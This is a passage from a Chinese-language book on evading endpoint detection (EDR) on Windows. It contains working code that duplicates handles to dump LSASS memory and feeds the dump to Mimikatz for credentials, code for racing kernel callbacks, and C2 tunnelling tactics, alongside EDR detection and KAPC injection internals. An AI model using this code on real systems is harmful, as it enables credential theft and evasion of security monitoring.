for (DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = pHandleInfo->Handles[i];
❶ if (handleInfo.UniqueProcessId != g_dwLsassPid && handleInfo.UniqueProcessId != 4)
{
HANDLE hTargetProcess = OpenProcess(
PROCESS_DUP_HANDLE,
FALSE,
handleInfo.UniqueProcessId);
if (hTargetProcess == NULL)
{
continue;
}
HANDLE hDuplicateHandle = NULL;
if (!DuplicateHandle(
hTargetProcess,
(HANDLE)handleInfo.HandleValue,
GetCurrentProcess(),
&hDuplicateHandle,
0, 0, DUPLICATE_SAME_ACCESS))
{
continue;
}
status = NtQueryObject(
hDuplicateHandle,
ObjectTypeInformation,
NULL, 0, &ulReturnLength);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
PPUBLIC_OBJECT_TYPE_INFORMATION pObjectTypeInfo =
(PPUBLIC_OBJECT_TYPE_INFORMATION)malloc(ulReturnLength);
if (!pObjectTypeInfo)
{
break;
} status = NtQueryObject(
hDuplicateHandle,
❷ ObjectTypeInformation,
pObjectTypeInfo,
ulReturnLength,
&ulReturnLength);
if (status != STATUS_SUCCESS)
{
continue;
}
❸ if (!_wcsicmp(pObjectTypeInfo->TypeName.Buffer, L"Process"))
{
`--snip--`
}
free(pObjectTypeInfo);
}
}
}
列表 4-11:仅筛选进程句柄
我们首先确保lsass.exe或系统进程不拥有该句柄 ❶,因为这可能触发某些警报逻辑。然后,我们调用 ntdll!NtQueryObject(),传入 ObjectTypeInformation ❷ 以获取句柄所属对象的类型。接下来,我们确定该句柄是否属于进程对象 ❸,以便过滤掉其他类型,如文件和互斥体。
在完成基本过滤后,我们需要进一步调查这些句柄,确保它们具有我们所需的访问权限以转储进程内存。列表 4-12 在前一个代码清单的基础上进行了扩展。
if (!_wcsicmp(pObjectTypeInfo->TypeName.Buffer, L"Process"))
{
LPWSTR szImageName = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
DWORD dwSize = MAX_PATH * sizeof(WCHAR);
❶ if (QueryFullProcessImageNameW(hDuplicateHandle, 0, szImageName, &dwSize))
{
if (IsLsassHandle(szImageName) &&
(handleEntryInfo.GrantedAccess & PROCESS_VM_READ) == PROCESS_VM_READ &&
(handleEntryInfo.GrantedAccess & PROCESS_QUERY_INFORMATION) ==
PROCESS_QUERY_INFORMATION)
{
HANDLE hOutFile = CreateFileW(
L"C:\\lsa.dmp",
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
0, NULL); ❷ if (MiniDumpWriteDump(
hDuplicateHandle,
dwLsassPid,
hOutFile,
MiniDumpWithFullMemory,
NULL, NULL, NULL))
{
break;
}
CloseHandle(hOutFile);
}
}
}
列表 4-12:评估复制的句柄并转储内存
我们首先获取进程 ❶ 的映像名称,并将其传递给一个内部函数,IsLsassHandle(),该函数确保进程句柄是针对lsass.exe的。接下来,我们检查句柄的访问权限,寻找 PROCESS_VM _READ 和 PROCESS_QUERY_INFORMATION,因为我们将用来读取lsass.exe进程内存的 API 需要这些权限。如果我们找到具有所需访问权限的lsass.exe句柄,我们将复制该句柄并传递给 API,提取其信息 ❷。
使用这个新句柄,我们可以利用像 Mimikatz 这样的工具创建并处理lsass.exe的内存转储。列表 4-13 展示了这个工作流程。
C:\> **HandleDuplication.exe**
LSASS PID: 884
[+] Found a handle with the required rights!
Owner PID: 17600
Handle Value: 0xff8
Granted Access: 0x1fffff
[>] Dumping LSASS memory to the DMP file…
[+] Dumped LSASS memory C:\lsa.dmp
C:\> **mimikatz.exe**
mimikatz # **sekurlsa::minidump C:\lsa.dmp**
Switch to MINIDUMP : 'C:\lsa.dmp'
mimikatz # **sekurlsa::logonpasswords**
Opening : 'C:\lsa.dmp' file for minidump…
Authentication Id : 0 ; 6189696 (00000000:005e7280)
Session : RemoteInteractive from 2
User Name : highpriv
Domain : MILKYWAY
Logon Server : SUN
`--snip--`
列表 4-13:转储 lsass.exe 的内存并使用 Mimikatz 处理小型转储文件
如你所见,我们的工具确定了 PID 17600,它对应于我测试主机上的进程资源管理器,并且该 PID 具有lsass.exe的句柄,访问掩码为 PROCESS_ALL_ACCESS (0x1FFFFF)。我们使用这个句柄将内存转储到文件中,C:\lsa.dmp。接下来,我们运行 Mimikatz 并使用它来处理该文件,然后使用 sekurlsa::logonpasswords 命令提取凭证信息。请注意,我们可以在目标外执行这些 Mimikatz 步骤,以减少被检测的风险,因为我们处理的是文件而不是实时内存。
尽管这一技术可以避开某些传感器,但 EDR 仍然可以通过多种方式检测我们的行为。请记住,对象回调可能会收到关于复制请求的通知。列表 4-14 展示了 EDR 驱动程序中可能出现的这种检测逻辑。
OB_PREOP_CALLBACK_STATUS ObjectNotificationCallback(
PVOID RegistrationContext,
POB_PRE_OPERATION_INFORMATION Info)
{
NTSTATUS status = STATUS_SUCCESS;
❶ if (Info->ObjectType == *PsProcessType)
{
if (Info->Operation == OB_OPERATION_HANDLE_DUPLICATE)
{
PUNICODE_STRING psTargetProcessName = HelperGetProcessName(
(PEPROCESS)Info->Object);
if (!psTargetProcessName))
{
return OB_PREOP_SUCCESS;
}
UNICODE_STRING sLsaProcessName = RTL_CONSTANT_STRING(L"lsass.exe");
❷ if (FsRtlAreNamesEqual(psTargetProcessName, &sLsaProcessName, TRUE, NULL))
{
`--snip--`
}
}
}
`--snip--`
}
列表 4-14:基于目标进程名称过滤句柄复制事件
为了检测重复请求,EDR 可以确定是否传递给回调例程的 OB_PRE_OPERATION_INFORMATION 结构的 ObjectType 成员是 PsProcessType,如果是,进一步检查其 Operation 成员是否为 OB_OPERATION_HANDLE_DUPLICATE ❶。通过附加过滤,我们可以判断是否有可能遇到前面提到的技术。然后,我们可能会将目标进程的名称与敏感进程的名称进行比较,或者与敏感进程的列表进行比对 ❷。
实现此检查的驱动程序将检测到使用 kernel32!DuplicateHandle() 进行的进程句柄重复操作。图 4-1 展示了一个模拟的 EDR 报告该事件。

图 4-1:检测进程句柄重复
不幸的是,在撰写本文时,许多传感器仅对新句柄请求进行检查,而不检查重复请求。然而,这种情况可能会在未来发生变化,因此始终评估 EDR 驱动程序是否执行此检查。
与回调例程竞速
在他们 2020 年的论文《快速与狂怒:从用户模式绕过 Windows 内核通知例程》中,Pierre Ciholas、Jose Miguel Such、Angelos K. Marnerides、Benjamin Green、Jiajie Zhang 和 Utz Roedig 展示了一种新颖的绕过对象回调检测的方法。他们的方法是在执行传递到驱动程序的回调例程之前,先请求一个进程句柄。作者描述了两种不同的竞速回调例程的方法,以下章节对此进行了详细讲解。
在父进程上创建作业对象
第一种技术适用于攻击者希望访问一个已知父进程的进程的情况。例如,当用户在 Windows 图形界面中双击一个应用程序时,其父进程应该是 explorer.exe。在这些情况下,攻击者明确知道目标进程的父进程,从而可以利用一些 Windows 技巧——稍后我们将讨论这些技巧——在驱动程序来不及处理之前,打开目标子进程的句柄。列表 4-15 展示了该技术的实际应用。
int main(int argc, char* argv[])
{
HANDLE hParent = INVALID_HANDLE_VALUE;
HANDLE hIoCompletionPort = INVALID_HANDLE_VALUE;
HANDLE hJob = INVALID_HANDLE_VALUE;
JOBOBJECT_ASSOCIATE_COMPLETION_PORT jobPort;
HANDLE hThread = INVALID_HANDLE_VALUE;
`--snip--`
hParent = OpenProcess(PROCESS_ALL_ACCESS, true, atoi(argv[1]));
❶ hJob = CreateJobObjectW(nullptr, L"DriverRacer");
hIoCompletionPort = ❷ CreateIoCompletionPort(
INVALID_HANDLE_VALUE,
nullptr,
0, 0
); jobPort = JOBOBJECT_ASSOCIATE_COMPLETION_PORT{
INVALID_HANDLE_VALUE,
hIoCompletionPort
};
if (!SetInformationJobObject(
hJob,
JobObjectAssociateCompletionPortInformation,
&jobPort,
sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT)
))
{
return GetLastError();
}
if (!AssignProcessToJobObject(hJob, hParent))
{
return GetLastError();
}
hThread = CreateThread(
nullptr, 0,
❸ (LPTHREAD_START_ROUTINE)GetChildHandles,
&hIoCompletionPort,
0, nullptr
);
WaitForSingleObject(hThread, INFINITE);
`--snip--`
}
列表 4-15:设置作业对象和待查询的 I/O 完成端口
为了获取受保护进程的控制,操作员首先在已知的父进程上创建一个作业对象❶。结果,创建该作业对象的进程将会收到通过 I/O 完成端口❷创建的任何新子进程的通知。恶意软件进程随后必须尽快查询该 I/O 完成端口。在我们的示例中,内部函数GetChildHandles()❸,在列表 4-16 中进行了扩展,正是执行了这一操作。
void GetChildHandles(HANDLE* hIoCompletionPort)
{
DWORD dwBytes = 0;
ULONG_PTR lpKey = 0;
LPOVERLAPPED lpOverlapped = nullptr;
HANDLE hChild = INVALID_HANDLE_VALUE;
WCHAR pszProcess[MAX_PATH];
do
{
if (dwBytes == 6)
{
hChild = OpenProcess( PROCESS_ALL_ACCESS,
true,
❶ (DWORD)lpOverlapped
);
❷ GetModuleFileNameExW(
hChild,
nullptr,
pszProcess,
MAX_PATH
);
wprintf(L"New child handle:\n"
"PID: %u\n"
"Handle: %p\n"
"Name: %ls\n\n",
DWORD(lpOverlapped),
hChild,
pszProcess
);
}
❸ } while (GetQueuedCompletionStatus(
*hIoCompletionPort,
&dwBytes,
&lpKey,
&lpOverlapped,
INFINITE));
}
列表 4-16:打开新进程句柄
在此函数中,我们首先在一个do…while循环❸中检查 I/O 完成端口。如果我们看到作为已完成操作一部分的字节已经传输,我们就会打开返回的 PID ❶的新句柄,请求完全权限(换句话说,PROCESS_ALL_ACCESS)。如果我们收到了句柄,我们会检查其映像名称❷。真正的恶意软件会对这个句柄执行某些操作,比如读取内存或终止进程,但在这里我们只是打印一些关于它的信息。
该技术之所以有效,是因为作业对象的通知发生在内核中的对象回调通知之前。在他们的论文中,研究人员测量了进程创建与对象回调通知之间的时间,约为 8.75–14.5 毫秒。这意味着,如果在通知传递给驱动程序之前请求句柄,攻击者可以获得一个完全特权的句柄,而不是一个被驱动程序更改了访问掩码的句柄。
猜测目标进程的 PID
论文中描述的第二种技术尝试预测目标进程的 PID。通过从潜在 PID 列表中移除所有已知的 PID 和线程 ID(TID),作者们展示了更高效地猜测目标进程 PID 的可能性。为了演示这一点,他们创建了一个名为hThemAll.cpp的概念验证程序。该工具的核心是内部函数OpenProcessThemAll(),如列表 4-17 所示,程序通过四个并发线程执行该函数来打开进程句柄。
void OpenProcessThemAll(
const DWORD dwBasePid,
const DWORD dwNbrPids,
std::list<HANDLE>* lhProcesses,
const std::vector<DWORD>* vdwExistingPids)
{
std::list<DWORD> pids;
for (auto i(0); i < dwNbrPids; i += 4)
if (!std::binary_search(
vdwExistingPids->begin(),
vdwExistingPids->end(),
dwBasePid + i))
{
pids.push_back(dwBasePid + i);
}
while (!bJoinThreads) {
for (auto it = pids.begin(); it != pids.end(); ++it)
{
❶ if (const auto hProcess = OpenProcess(
DESIRED_ACCESS,
DESIRED_INHERITANCE,
*it))
{
EnterCriticalSection(&criticalSection);
❷ lhProcesses->push_back(hProcess);
LeaveCriticalSection(&criticalSection);
pids.erase(it);
}
}
}
}
列表 4-17:用于请求进程句柄并检查其 PID 的OpenProcessThemAll()函数
该函数通过一个过滤后的 PID 列表,不加区别地请求所有进程的句柄❶。如果返回的句柄有效,它将被添加到数组中❷。该函数完成后,我们可以检查是否有返回的句柄匹配目标进程。如果句柄不匹配目标,它将被关闭。
尽管概念验证是可行的,但它缺少一些边缘案例,例如在一个进程或线程终止后,另一个进程或线程重新使用该进程和线程标识符。完全可以覆盖这些情况,但在本文写作时并没有公开的示例。
这两种技术的操作使用案例也可能受到限制。例如,如果我们想使用第一种技术来打开代理进程的句柄,我们需要在该进程启动之前运行我们的代码。这在真实系统中非常具有挑战性,因为大多数 EDR 通过在启动顺序中较早运行的服务启动代理进程。我们需要管理员权限来创建我们自己的服务,而这仍然无法保证我们能够在代理服务启动之前让恶意软件运行。
此外,这两种技术都侧重于破解 EDR 的预防控制措施,并没有考虑其侦测控制措施。即使驱动程序无法修改请求句柄的权限,它仍然可能报告可疑的进程访问事件。微软表示,它不会修复这个问题,因为这样做可能会导致应用兼容性问题;相反,第三方开发者负责缓解。
结论
监控句柄操作,尤其是打开指向敏感进程的句柄,提供了一种强有力的方式来检测对手的战术。一个注册了对象通知回调的驱动程序,直接处于一个依赖于打开或复制诸如lsass.exe等进程句柄的对手的操作路径中。当这个回调例程实现得当时,规避这一传感器的机会是有限的,许多攻击者已经调整了他们的战术,以减少完全不需要打开新进程句柄的情况。
第五章:5 图像加载和注册表通知

本书将介绍的最后两种通知回调例程是图像加载通知和注册表通知。图像加载通知会在可执行文件、DLL 或驱动程序加载到系统内存时发生。注册表通知会在注册表发生特定操作时触发,例如键值创建或删除。
除了这些通知类型,本章还将讨论 EDR 如何常常依赖图像加载通知来进行一种名为KAPC 注入的技术,该技术用于注入它们的函数钩子 DLL。最后,我们将讨论一种针对 EDR 驱动程序的规避方法,这可能绕过我们讨论过的所有通知类型。
图像加载通知的工作原理
通过收集图像加载遥测信息,我们可以获得关于进程依赖关系的极为宝贵的信息。例如,使用内存中.NET 程序集的攻击工具,如 Cobalt Strike Beacon 中的execute-assembly命令,通常将公共语言运行时clr.dll加载到其进程中。通过将clr.dll的图像加载与进程的 PE 头中的某些属性关联,我们可以识别加载clr.dll的非.NET 进程,这可能表明恶意行为。
注册回调例程
内核通过nt!PsSetLoadImageNotifyRoutine() API 来实现这些图像加载通知。如果驱动程序想要接收这些事件,开发人员只需将他们的回调函数作为唯一参数传递给该 API,如清单 5-1 所示。
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
NTSTATUS status = STATUS_SUCCESS;
`--snip--`
status = PsSetLoadImageNotifyRoutine(ImageLoadNotificationCallback);
`--snip--`
}
void ImageLoadNotificationCallback(
PUNICODE_STRING FullImageName,
HANDLE ProcessId,
PIMAGE_INFO ImageInfo)
{
`--snip--`
}
清单 5-1:注册图像加载回调例程
现在,系统将在每次将新图像加载到进程时,调用内部回调函数ImageLoadNotificationCallback()。
查看系统上注册的回调例程
系统还将一个指向该函数的指针添加到一个数组中,nt!PspLoadImageNotifyRoutine()。我们可以像遍历第三章中讨论的进程通知回调数组那样,遍历这个数组。在清单 5-2 中,我们这样做以列出系统上注册的图像加载回调。
1: kd> **dx ((void**[0x40])&nt!PspLoadImageNotifyRoutine)**
**.Where(a => a != 0)**
**.Select(a => @$getsym(@$getCallbackRoutine(a).Function))** [0] : WdFilter+0x467b0 (fffff803`4ade67b0)
[1] : ahcache!CitmpLoadImageCallback (fffff803`4c95eb20)
清单 5-2:枚举图像加载回调
这里注册的回调函数明显少于进程创建通知时注册的回调函数。进程通知的非安全用途比图像加载更多,因此开发人员更有兴趣实现它们。相反,图像加载是 EDR(终端检测与响应)的一项关键数据点,因此我们可以预期在系统中加载的任何 EDR 工具将与 Defender [0] 和客户交互跟踪器 [1] 一起出现。
从图像加载中收集信息
当加载图像时,回调例程会接收到指向一个 IMAGE_INFO 结构的指针,该结构在清单 5-3 中定义。EDR 可以从中收集遥测数据。
typedef struct _IMAGE_INFO {
union {
ULONG Properties;
struct {
ULONG ImageAddressingMode : 8;
ULONG SystemModeImage : 1;
ULONG ImageMappedToAllPids : 1;
ULONG ExtendedInfoPresent : 1;
ULONG MachineTypeMismatch : 1;
ULONG ImageSignatureLevel : 4;
ULONG ImageSignatureType : 3;
ULONG ImagePartialMap : 1;
ULONG Reserved : 12;
};
};
PVOID ImageBase;
ULONG ImageSelector;
SIZE_T ImageSize;
ULONG ImageSectionNumber;
} IMAGE_INFO, *PIMAGE_INFO;
清单 5-3:IMAGE_INFO 结构定义
该结构有一些特别有趣的字段。首先,SystemModeImage 如果图像映射到用户地址空间(如 DLL 和 EXE 文件),则设置为 0。如果该字段设置为 1,则表示该图像是加载到内核地址空间中的驱动程序。对于 EDR 来说,这非常有用,因为加载到内核模式的恶意代码通常比加载到用户模式的代码更危险。
ImageSignatureLevel 字段表示 Code Integrity 分配给图像的签名级别,Code Integrity 是 Windows 的一项功能,除了验证数字签名外,还具有其他功能。这些信息对实现某种类型软件限制策略的系统非常有用。例如,某个组织可能要求企业中的某些系统仅运行签名代码。这些签名级别是定义在ntddk.h头文件中的常量,并显示在清单 5-4 中。
#define SE_SIGNING_LEVEL_UNCHECKED 0x00000000
#define SE_SIGNING_LEVEL_UNSIGNED 0x00000001
#define SE_SIGNING_LEVEL_ENTERPRISE 0x00000002
#define SE_SIGNING_LEVEL_CUSTOM_1 0x00000003
#define SE_SIGNING_LEVEL_DEVELOPER SE_SIGNING_LEVEL_CUSTOM_1
#define SE_SIGNING_LEVEL_AUTHENTICODE 0x00000004
#define SE_SIGNING_LEVEL_CUSTOM_2 0x00000005
#define SE_SIGNING_LEVEL_STORE 0x00000006
#define SE_SIGNING_LEVEL_CUSTOM_3 0x00000007
#define SE_SIGNING_LEVEL_ANTIMALWARE SE_SIGNING_LEVEL_CUSTOM_3
#define SE_SIGNING_LEVEL_MICROSOFT 0x00000008
#define SE_SIGNING_LEVEL_CUSTOM_4 0x00000009
#define SE_SIGNING_LEVEL_CUSTOM_5 0x0000000A
#define SE_SIGNING_LEVEL_DYNAMIC_CODEGEN 0x0000000B
#define SE_SIGNING_LEVEL_WINDOWS 0x0000000C
#define SE_SIGNING_LEVEL_CUSTOM_7 0x0000000D
#define SE_SIGNING_LEVEL_WINDOWS_TCB 0x0000000E
#define SE_SIGNING_LEVEL_CUSTOM_6 0x0000000F
清单 5-4:图像签名级别
每个值的用途并没有很好的文档说明,但其中一些是显而易见的。例如,SE_SIGNING_LEVEL_UNSIGNED 用于未签名代码,SE_SIGNING_LEVEL_WINDOWS 表示该图像是操作系统组件,SE_SIGNING_LEVEL_ANTIMALWARE 与反恶意软件保护有关。
ImageSignatureType 字段是与 ImageSignatureLevel 相关的字段,定义了 Code Integrity 标记图像的签名类型,以指示签名的应用方式。定义这些值的 SE_IMAGE_SIGNATURE_TYPE 枚举在清单 5-5 中显示。
typedef enum _SE_IMAGE_SIGNATURE_TYPE
{
SeImageSignatureNone = 0,
SeImageSignatureEmbedded,
SeImageSignatureCache,
SeImageSignatureCatalogCached,
SeImageSignatureCatalogNotCached,
SeImageSignatureCatalogHint,
SeImageSignaturePackageCatalog,
} SE_IMAGE_SIGNATURE_TYPE, *PSE_IMAGE_SIGNATURE_TYPE;
列表 5-5:SE_IMAGE_SIGNATURE_TYPE 枚举
与这些属性相关的代码完整性内部实现超出了本章的范围,但最常遇到的有 SeImageSignatureNone(表示文件未签名)、SeImageSignatureEmbedded(表示签名已嵌入文件中)和 SeImageSignatureCache(表示签名已缓存在系统中)。
如果 ImagePartialMap 的值非零,说明正在映射到进程虚拟地址空间中的映像并不完整。这个值是在 Windows 10 中加入的,用于表示当调用 kernel32!MapViewOfFile() 映射一个文件的部分内容时的情况,特别是当文件的大小大于进程的地址空间时。ImageBase 字段包含映像将被映射到的基地址,取决于映像类型,它可以是在用户空间或内核空间中的地址。
值得注意的是,当映像加载通知到达驱动程序时,映像已经被映射。这意味着 DLL 内的代码已经在宿主进程的虚拟地址空间中,并准备好执行。你可以通过 WinDbg 观察这种行为,如列表 5-6 所示。
0: kd> **bp nt!PsCallImageNotifyRoutines**
0: kd> **g**
Breakpoint 0 hit
nt!PsCallImageNotifyRoutines:
fffff803`49402bc0 488bc4 mov rax,rsp
0: kd> **dt _UNICODE_STRING @rcx**
ntdll!_UNICODE_STRING
"\SystemRoot\System32\ntdll.dll"
+0x000 Length : 0x3c
+0x002 MaximumLengthN : 0x3e
+0x008 Buffer : 0xfffff803`49789b98 ❶ "\SystemRoot\System32\ntdll.dll"
列表 5-6:从映像加载通知中提取映像名称
我们首先在负责遍历注册回调例程数组的函数上设置一个断点。然后,当调试器中断时,我们调查 RCX 寄存器。记住,传递给回调例程的第一个参数存储在 RCX 中,它是一个包含正在加载的映像名称的 Unicode 字符串 ❶。
一旦我们锁定了这个映像,我们可以查看当前进程的 VADs,如列表 5-7 所示,了解哪些映像已经加载到当前进程中,加载的位置和方式。
0: kd> **!vad**
VAD Level Commit
`--snip--`
ffff9b8f9952fd80 0 0 Mapped READONLY Pagefile section, shared commit 0x1
ffff9b8f9952eca0 2 0 Mapped READONLY Pagefile section, shared commit 0x23
ffff9b8f9952d260 1 1 Mapped NO_ACCESS Pagefile section, shared commit 0xe0e
ffff9b8f9952c5e0 2 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\notepad.exe
ffff9b8f9952db20 3 16 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ntdll.dll
列表 5-7:检查 VADs 以找到要加载的映像
输出的最后一行显示,映像加载通知的目标,即我们的示例中的 ntdll.dll,被标记为 Mapped。在 EDR 的情况下,这意味着我们知道 DLL 位于磁盘上并已复制到内存中。加载程序需要做一些事情,如解析 DLL 的依赖项,然后才会调用 DLL 内的 DllMain() 函数,并开始执行其代码。这在 EDR 处于预防模式并可能采取行动阻止 DLL 在目标进程中执行的情况下尤其重要。
使用隧道工具规避映像加载通知
近年来,一种日益流行的规避策略是代理工具,而不是在目标上运行它。当攻击者避免在主机上运行后期利用工具时,他们可以从收集的数据中去除许多主机上的指示,从而使 EDR 的检测变得极为困难。大多数对手工具包包含收集网络信息或作用于环境中其他主机的实用程序。然而,这些工具通常只需要一个有效的网络路径和能够对其想要交互的系统进行身份验证的能力。因此,攻击者不需要在目标环境中的主机上执行这些工具。
一种保持远离目标主机的方法是通过外部计算机代理工具,然后将工具的流量通过被攻破的主机路由。尽管这种策略由于其在规避 EDR 解决方案方面的有效性近年来变得越来越常见,但这一技术并不新鲜,大多数攻击者多年来一直通过使用 Metasploit Framework 的辅助模块来实施,尤其是当他们的复杂工具集因某种原因无法在目标上正常工作时。例如,攻击者有时希望利用 Impacket 提供的工具集,这是一个用 Python 编写的类库,用于处理网络协议。如果目标机器上没有 Python 解释器,攻击者就需要构建一个可执行文件来投放并在主机上执行。这会带来很多麻烦,并限制了许多工具包的操作性,因此攻击者转向了代理。
许多命令与控制代理,例如 Beacon 及其 socks 命令,支持某种形式的代理。图 5-1 显示了一个常见的代理架构。

图 5-1:一种通用的代理架构
在目标环境中部署命令与控制代理后,操作员会在其服务器上启动代理,然后将代理与该代理关联。从此以后,所有通过代理路由的流量将通过一个 堡垒,即用于混淆命令与控制服务器真实位置的主机,传递到已部署的代理,从而允许操作员将其工具通过代理隧道进入该环境。操作员可以使用如 Proxychains 或 Proxifier 等工具,强制将其后期利用工具(运行在外部主机上)的流量通过代理,并表现得像是在内部环境中运行一样。
然而,这一策略有一个显著的缺点。大多数进攻安全团队使用非交互式会话,这会在命令与控制代理与其服务器的签到之间引入预定延迟。这允许信标行为融入系统的正常流量,通过减少交互总量并匹配系统的典型通信模式。例如,在大多数环境中,你不会发现工作站与银行网站之间有大量流量。通过将签到间隔增加到与伪装成合法银行服务的服务器之间,攻击者可以将自己融入到背景中。但当进行代理时,这一做法就成了一个难题,因为许多工具并未构建为支持高延迟通道。试想一下,你在浏览网页时每小时只能发出一次请求(然后又得等一个小时才能看到结果)。
为了绕过这一点,许多操作者会将签到间隔缩短至接近零,从而创建交互式会话。这减少了网络延迟,使得后期利用工具可以毫无延迟地运行。然而,由于几乎所有的命令与控制代理都使用单一的通信通道进行签到、任务指派和输出发送,因此通过该单一通道的流量量可能会变得很大,导致防御者注意到可疑的信标活动正在发生。这意味着攻击者必须在主机级和网络级指示符之间做出一定的权衡,以适应其操作环境。
随着 EDR 厂商增强识别信标流量的能力,进攻团队和开发者将继续提升其技术手段以躲避检测。实现这一目标的下一个合乎逻辑的步骤之一,是使用多个频道进行命令与控制任务,而不是仅仅使用一个,可能通过使用次级工具,如 gTunnel,或者将该支持集成到代理本身。图 5-2 展示了这一方法的一个示例。

图 5-2:gTunnel 代理架构
在这个示例中,我们仍然使用现有的命令与控制通道来控制部署在被攻陷主机上的代理,但我们还添加了一个 gTunnel 通道,允许我们代理我们的工具。我们在攻击者主机上执行这些工具,几乎消除了基于主机的检测风险,并将工具的网络流量通过 gTunnel 路由到被攻陷的系统,在那里它继续像是来自被攻陷主机一样。这仍然给防御者提供了基于网络的检测攻击的机会,但它大大减少了攻击者在主机上的痕迹。
触发 KAPC 注入与图像加载通知
第二章讨论了 EDR 如何经常将功能钩子 DLL 注入新创建的进程,以监控对某些感兴趣函数的调用。对于厂商而言,不幸的是,从内核模式将 DLL 注入进程并没有正式支持的方法。具有讽刺意味的是,他们最常用的其中一种方法实际上是恶意软件常用的技术:APC 注入。大多数 EDR 厂商使用 KAPC 注入,这一过程指示正在生成的进程加载 EDR 的 DLL,尽管它并未显式地链接到正在执行的映像中。
为了注入 DLL,EDR 不能随意将图像的内容写入进程的虚拟地址空间。DLL 必须以符合 PE 格式的方式映射。为了从内核模式实现这一点,驱动程序可以使用一个相当巧妙的技巧:依赖图像加载回调通知来监控新创建的进程加载ntdll.dll。加载ntdll.dll是新进程做的第一件事之一,因此如果驱动程序能够注意到这一点,它可以在主线程开始执行之前对进程采取行动:这是放置钩子的完美时机。本节将引导您完成将功能钩子 DLL 注入新创建的 64 位进程的步骤。
理解 KAPC 注入
KAPC 注入在理论上相对简单,只有在我们讨论其在驱动程序中的实际实现时才会变得模糊。大致来说,我们希望告诉一个新创建的进程加载我们指定的 DLL。对于 EDR 来说,这几乎总是一个功能钩子 DLL。APC 作为一种信号进程执行某些操作的方法之一,等待直到线程处于可警告状态,例如当线程执行kernel32!SleepEx()或kernel32!WaitForSingleObjectEx()时,来执行我们请求的任务。
KAPC 注入从内核模式排队此任务,不像普通的用户模式 APC 注入,操作系统并不正式支持它,这使得其实现有些“黑客式”。该过程包括几个步骤。首先,驱动程序会在图像加载时收到通知,无论是进程图像(如notepad.exe)还是 EDR 关注的 DLL。因为通知发生在目标进程的上下文中,驱动程序随后会在当前加载的模块中查找一个可以加载 DLL 的函数的地址,特别是ntdll!LdrLoadDll()。接下来,驱动程序初始化几个关键结构,提供要注入进程的 DLL 的名称;初始化 KAPC;并将其排队执行。每当进程中的一个线程进入可警告状态时,APC 就会执行,EDR 驱动的 DLL 将被加载。
为了更好地理解这个过程,让我们更详细地逐步了解这些阶段。
获取 DLL 加载函数的指针
在驱动程序能够注入其 DLL 之前,它必须获取一个指向未记录的 ntdll!LdrLoadDll() 函数的指针,该函数负责将 DLL 加载到进程中,类似于 kernel32!LoadLibrary()。该内容在 清单 5-8 中定义。
NTSTATUS
LdrLoadDll(IN PWSTR SearchPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *BaseAddress)
清单 5-8:LdrLoadDll() 函数定义
请注意,DLL 被加载和完全映射到进程中之间存在差异。因此,对于某些驱动程序,后操作回调可能比前操作回调更为有利。因为当后操作回调例程被通知时,映像已经完全映射,意味着驱动程序可以在映射的 ntdll.dll 副本中获取指向 ntdll!LdrLoadDll() 的指针。由于映像已经映射到当前进程中,驱动程序也无需担心地址空间布局随机化(ASLR)。
准备注入
一旦驱动程序获取了 ntdll!LdrLoadDll() 的指针,它就满足了执行 KAPC 注入的最重要要求,并可以开始将其 DLL 注入到新进程中。清单 5-9 显示了 EDR 驱动程序如何执行必要的初始化步骤来实现这一点。
typedef struct _INJECTION_CTX
{
UNICODE_STRING Dll;
WCHAR Buffer[MAX_PATH];
} INJECTION_CTX, *PINJECTION_CTX
void Injector()
{
NTSTATUS status = STATUS_SUCCESS;
PINJECTION_CTX ctx = NULL;
const UNICODE_STRING DllName = RTL_CONSTANT_STRING(L"hooks.dll");
`--snip--` ❶ status = ZwAllocateVirtualMemory(
ZwCurrentProcess(),
(PVOID *)&ctx,
0,
sizeof(INJECTION_CTX),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
`--snip--`
RtlInitEmptyUnicodeString(
&ctx->Dll,
ctx->Buffer,
sizeof(ctx->Buffer)
);
❷ RtlUnicodeStringCopyString(
&ctx->Dll,
DllName
);
`--snip--`
}
清单 5-9:在目标进程中分配内存并初始化上下文结构
驱动程序在目标进程 ❶ 内部分配内存,以容纳一个包含要注入的 DLL 名称的上下文结构 ❷。
创建 KAPC 结构
在完成此分配和初始化后,驱动程序需要为 KAPC 结构分配空间,如 清单 5-10 所示。该结构包含有关要在目标线程中执行的例程的信息。
PKAPC pKapc = (PKAPC)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(KAPC),
'CPAK'
);
清单 5-10:为 KAPC 结构分配内存
驱动程序在 NonPagedPool 中分配此内存,NonPagedPool 是一种内存池,保证数据会保留在物理内存中,而不会因为对象仍被分配而被换出到磁盘。这一点非常重要,因为 DLL 注入的线程可能正在以高中断请求级别运行,例如 DISPATCH_LEVEL,在这种情况下,它不应访问 PagedPool 中的内存,因为这会导致一个致命错误,通常会导致 IRQL_NOT_LESS_OR_EQUAL 错误检查(也称为蓝屏死机)。
接下来,驱动程序使用未公开的 nt!KeInitializeApc() API 初始化先前分配的 KAPC 结构,如 列表 5-11 所示。
VOID KeInitializeApc(
PKAPC Apc,
PETHREAD Thread,
KAPC_ENVIRONMENT Environment,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ApcMode,
PVOID NormalContext
);
列表 5-11:nt!KeInitializeApc() 定义
在我们的驱动程序中,对 nt!KeInitializeApc() 的调用大致如 列表 5-12 所示。
KeInitializeApc(
pKapc,
KeGetCurrentThread(),
OriginalApcEnvironment,
(PKKERNEL_ROUTINE)OurKernelRoutine,
NULL,
(PKNORMAL_ROUTINE)pfnLdrLoadDll,
UserMode,
NULL
);
列表 5-12:带有 DLL 注入详细信息的 nt!KeInitializeApc() 调用
